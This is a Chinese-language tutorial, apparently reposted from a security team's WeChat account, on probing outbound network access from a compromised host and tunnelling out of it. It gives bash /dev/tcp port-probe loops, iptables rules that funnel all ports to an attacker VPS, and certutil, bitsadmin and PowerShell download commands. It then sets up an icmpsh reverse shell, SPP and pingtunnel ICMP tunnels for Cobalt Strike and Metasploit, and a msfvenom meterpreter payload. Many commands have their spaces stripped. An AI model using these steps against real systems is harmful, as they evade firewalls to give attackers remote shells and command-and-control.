出网探测
出网探测就是要探测出网协议,出站ip和出站端口。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站协议。
目标禁止出站ip
如果目标主机设置了严格的策略,防火墙只允许目标内网机器主动连接公网指定的ip。这样的话,没法反弹shell。(因为白名单ip没有办法拿到权限)。
禁止出站端口
Linux系统使用Linux系统自带命令探测出网端口。( 探测目标机器可以访问baidu.com对应ip的端口)
foriin{440..449};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i***********************open************************"||echo"$iclosed";done
webshell不好回显结果,将结果写入文件中
foriin{440..449};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done>>result.txt
探测常见端口
foriin{21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done
foriin{21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done>>result.txt
攻击端的端口请求记录
从目标发起的端口访问请求,攻击端必须得配合记录,否则即便找到有效的出站端口,我们也无法获悉。思路一,单个逐次监听端口。对于少量端口的探测,攻击端很容易记录。比如,要验证 windows 目标的 8088 端口是否为出站端口,先在攻击端用 nc -n -v -lp 8088 监听 8088,指定 -v 选项观察实时访问记录,再在目标上用 telnet 192.168.56.8 8088 连接攻击端的 8088 端口,最后在攻击端查看端口访问记录,若有则该端口是有效出站端口,若无则重复以上步骤继续验证其他端口。
二,批量捆绑监听端口。试想一下,如果能够把攻击端的多个端口流量转发至单个汇聚端口,就只需监听单个汇聚端口,目标上发起多个端口探测,只要在攻击端转发的多个端口的范围内,那么,一旦找到有效出站端口,攻击端的汇聚端口一定有访问记录。说到端口转发,系统自带的 ssh、iptables,三方的 frp、nps,这些工具都能高效实现,于是,我从这四个工具中找寻具备端口捆绑能力的那位 攻击端这边需要有⽬标机访问的记录,才能更好的判断⽬标机器是否访问了我们。只要⽬标机器访问到 了我们VPS的任意⼀个端⼝,我们这边都能有记录。//将所有端⼝的流量都绑定到34444端⼝
iptables-APREROUTING-tnat-ptcp--dport1:65535-jREDIRECT--to-port34444
//查看nat表的规则
iptables-tnat-nvL
//清除nat表所有规则
iptables-tnat-F
//备份iptables规则
iptables-save>/tmp/firewall.rules
//恢复iptables规则
iptables-restore< /tmp/firewall.rules
配置防⽕墙规则,禁⽌访问远程机器的1-34566和34566-65535端⼝,也就是说只允许访问34567端⼝然后我们这边监听34444端⼝,在⽬标机器端⼝探测
禁止出站协议
对于禁止出站协议的情况,需要探测目标机器允许哪些协议出网。
探测ICMP协议服务端
监听ICMP流量:
tcpdumpicmp
客户端ping VPS地址,查看服务端能否收到请求VPS监听,然后ping我们vps查看能否收到监听来判断ICMP 协议是否出⽹。也可以直接ping⼀个地址,看是否 有ttl值。
探测DNS协议
Windows:
nslookup、ping
Linux:
nslookup、dig、ping
通过判断能否将域名解析为ip,判断DNS协议是否出⽹。也可以将域名换成dnslog的域名,再看dnslog能否收到请求。
探测HTTP协议
Linux:可以使用curl命令
curlhttp://192.168.10.13
Windows系统可以使用如下的命令
certutil-urlcache-split-fhttp://www.baidu.com bitsadmin/transfertesthttp://192.168.10.13/1c:1 powershelliwr-Urihttp://www.baidu.com-OutFile1-UseBasicParsing
只有ICMP协议出网
目标只有icmp协议能出⽹的话,则只有考虑使⽤icmp协议来搭建隧道。利⽤icmp协议通信的⼯具有很多icmpsh、reverse-icmp-shell、PingTunnel、IcmpTunnel都可以。常⻅的ping命令就是利⽤的ICMP协议。
icmpsh(2016+kali2017)
icmpsh 是一个简单的反向 ICMP shell,带有一个 win32 从站和一个 C、Perl 或 Python 中的兼容主站。与其他类似的开源工具相比,它的主要优势在于它不需要管理权限即可在目标机器上运行。使用ICMP进行命令控制(Icmpsh)适⽤场景:⽬标机器是Windows服务器 Linux服务器执行
#关闭icmp回复,如果要开启icmp回复,该值设置为0 sysctl-wnet.ipv4.icmp_echo_ignore_all=1 #运⾏,第⼀个IP是VPS的eth0⽹卡IP(vps上ifconfig可以得到),第⼆个IP是⽬标机器出⼝的公⽹IP python2icmpsh_m.py192.168.10.8192.168.10.7
目标机器的操作:
icmpsh.exe-t192.168.10.8
可以看到已经反弹出一个shell
ICMP上线CS
有如下场景,我们拿到了内⽹的机器权限。但是机器对外均只有icmp协议出网,我们现在可以利⽤icmp封装tcp协议,让其上线cs。
使用SPP
平常演练常用的一些隧道工具像frp,nps在目标出网的情况下还是比较好用的。但是一旦遇到一些比较恶劣的环境,比如只有icmp可以出网的情况,那就需要使用其他的工具像pingtunnel,ptunnel等。SPP三个特点:、 支持icmp、kcp、quic 支持双向的代理 可以自由进行内部外协议的组合
功能:支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理 协议和类型可以自由组合 外部代理协议和内部转发协议可以自由组合 支持shadowsock/s插件,spp-shadowsock/s-plugin,spp-shadowsock/s-plugin-android cs服务器端
./spp-typeserver-protoricmp-listen0.0.0.0
客户端
spp-name"test"-typeproxy_client-server140.143.167.58-fromaddr:8082-toaddr:8081-proxyprototcp-protoricmp
pingtunnel上线MSF&CS
1、pingtunnel下载链接
https://github.com/esrrhs/pingtunnel/releases
注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件;ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密 2 vps服务端开启
##开启服务器模式 ./pingtunnel-typeserver
3、客户端开启上传客户端
##客户端本地监听9999端口,将监听到的连接通过icmpserver发送到Linsten_ip:7777端口 pingtunnel.exe-typeclient-l127.0.0.1:9999-sicmpserver_ip-t82.157.64.237:7778-tcp1-noprint1-nolog1
4、MSF上线
msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=127.0.0.1LPORT=9999-fexe-oAAA.exe
5、cs上线 建立监听127.0.0.1:9999和192.168.3.76:7777 对127的监听生成木马AAA.exe,传到靶机运行
pingtunnel.exe-typeclient-l127.0.0.1:9999-s192.168.3.76-t192.168.3.76:7777-tcp1-noprint1-nolog1
审核编辑:汤梓红
-
Linux
+关注
关注
87文章
11221浏览量
208882 -
WINDOWS
+关注
关注
3文章
3524浏览量
88399 -
端口
+关注
关注
4文章
953浏览量
32008
原文标题:隧道与端口转发
文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。
发布评论请先 登录
相关推荐
评论